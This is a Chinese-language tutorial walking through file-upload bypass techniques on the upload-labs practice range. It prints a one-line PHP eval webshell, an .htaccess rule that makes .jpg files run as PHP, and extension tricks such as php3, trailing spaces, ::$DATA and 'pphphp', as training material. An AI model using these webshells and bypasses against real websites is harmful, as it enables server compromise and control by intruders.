文件上传漏洞-上篇

发布于:2024-06-26 ⋅ 阅读:(14) ⋅ 点赞:(0)

一、概述

文件上传漏洞可以说是日常渗透测试中用得最多的一个漏洞,用它获得服务器权限最快最直接。在web程序中,经常需要用到文件上传的功能。如用户或者管理员上传图片,或者其它文件。如果没有限制上传类型或者限制不严格被绕过,就有可能造成文件上传漏洞。如果上传了可执行文件或者网页脚本,就会导致网站被控制基至服务器论陷。,复杂一点的情况是配合webserver的解析漏洞来获取控制权或结合文件包含漏洞。

靶场搭建

github地址:https://github.com/c0ny1/upload-labs
下载解压完整后,放入Apache服务www根目录中
访问网址:http://localhost/upload-labs/
image.png

二、文件上传前端检测绕过

漏洞利用方式

一句话木马
<?php @eval($_POST['cmd']);?>

前端检测绕过-Pass-01
  1. 分析
    1. 使用JS进行编写
    2. 文件验证代码编写在前端
  2. 上传一句话木马
    1. 步骤:编写好一句话木马文件,现将木马修改为可以验证通过的文件文件格式,在进行抓包。
    2. 修改前:

image.png

  1. 修改后并放行

image.png

  1. 访问地址:http://10.196.93.67/upload-labs/upload/3.php
  2. image.png
  3. 使用中国蚂剑连接webShell
    1. 打开软件》鼠标右键添加数据》输入信息》点击添加

image.png

  1. 连接成功

image.png

三、文件上传mime类型检测绕过

简介

常见的mime类型对比网址:https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Common_types
image.png

示例:Pass-02

  1. 分析
    1. 第二关可以采用第一关方法进行获取webshell
    2. 第二关主要是后端的mime类型验证,并没有进行前端验证
    3. 通关方法:通过抓包获取到后端的mime类型,将其修改为自己想要的格式既可。
  2. 步骤:
    1. 先将a.php中包含的一句话木马上传的服务中,并抓包

image.png

  1. 修改Content-Type值为服务器需要的值既可。

image.png

四、黑名单绕过

说明

黑名单通常是在后端中定义了一个文件类型的数组,当用户上传文件后,后端会将上传的文件名进行过滤和格式化等操作,最后判断文件名后缀是否存在于文件后缀中,若存在则限制上传。

# 示例代码
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
?>

示例:Pass-3

  1. 修改Apache的配置文件:httpd.conf,并重启服务
AddType application/x-httpd-php .php .phtml .php3 .php3

image.png

  1. 绕过方式:将上传的木马文件后缀修改为以前老版本可以识别(大概率成功)。如(php3,php4,phtml…)
    1. image.png
  2. 验证
    1. 文件路径:http://10.196.93.67/upload-labs/upload/202406210044594306.php3
    2. image.png

五、.htaccess绕过

简介

.htaccess是一个配置文件,用于运行Apache网络服务器软件的网络服务器上。当.htaccess文件被放置在一个 "通过Apache Web服务器加载 "的目录中时,.htaccess文件会被Apache Web服务器软件检测并执行。这些.htaccess文件可以用来改变Apache Web服务器软件的配置,以启用/禁用Apache Web服务器软件所提供的额外功能和特性。

示例:Pass-4

  1. 创建一个.htaccess文件并编写内容

image.png

# AddType application/x-httpd-php .php .phtml .php3 .php3

# 表示: 将jpg文件当做php文件解析
AddType application/x-httpd-php .jpg
  1. 第一步上传.htaccess文件

image.png

  1. 第二步上传包含一句话木马的jpg文件

image.png

  1. 验证
    1. 文件地址:http://10.196.93.67/upload-labs/upload/3.jpg

image.png

六、空格绕过

示例:Pass-6

操作步骤:

  1. 第一步:在本地创建一个a.php 的文件
  2. 第二步:正常上上传并抓包
    1. 正常结果:

image.png

  1. 添加空格
    1. 添加空格

image.png

七、::$data绕过

介绍

在普通情况下,我们使用的文件只有一个默认的数据流,可以通过文件名访问。但是,在windows NT文件系统(NTFS)支持在文件内部创建额外的数据流,以存储其他信息。这些额外的数据流可以通过在文件名后面添加::$DATA来访问。

示例:Pass-8

image.png
image.png
image.png

八、点空点绕过

猜测后端只过滤一次,所以多写一次注入文件,从而达到需要效果。

示例:Pass-9

image.png
image.png

九、双写绕过

函数讲解

str_ireplace(['php'],"","pphphp")
# 结果:php

image.png

示例:Pass-10

上传将php后缀修改为:pphphp既可。
image.png
image.png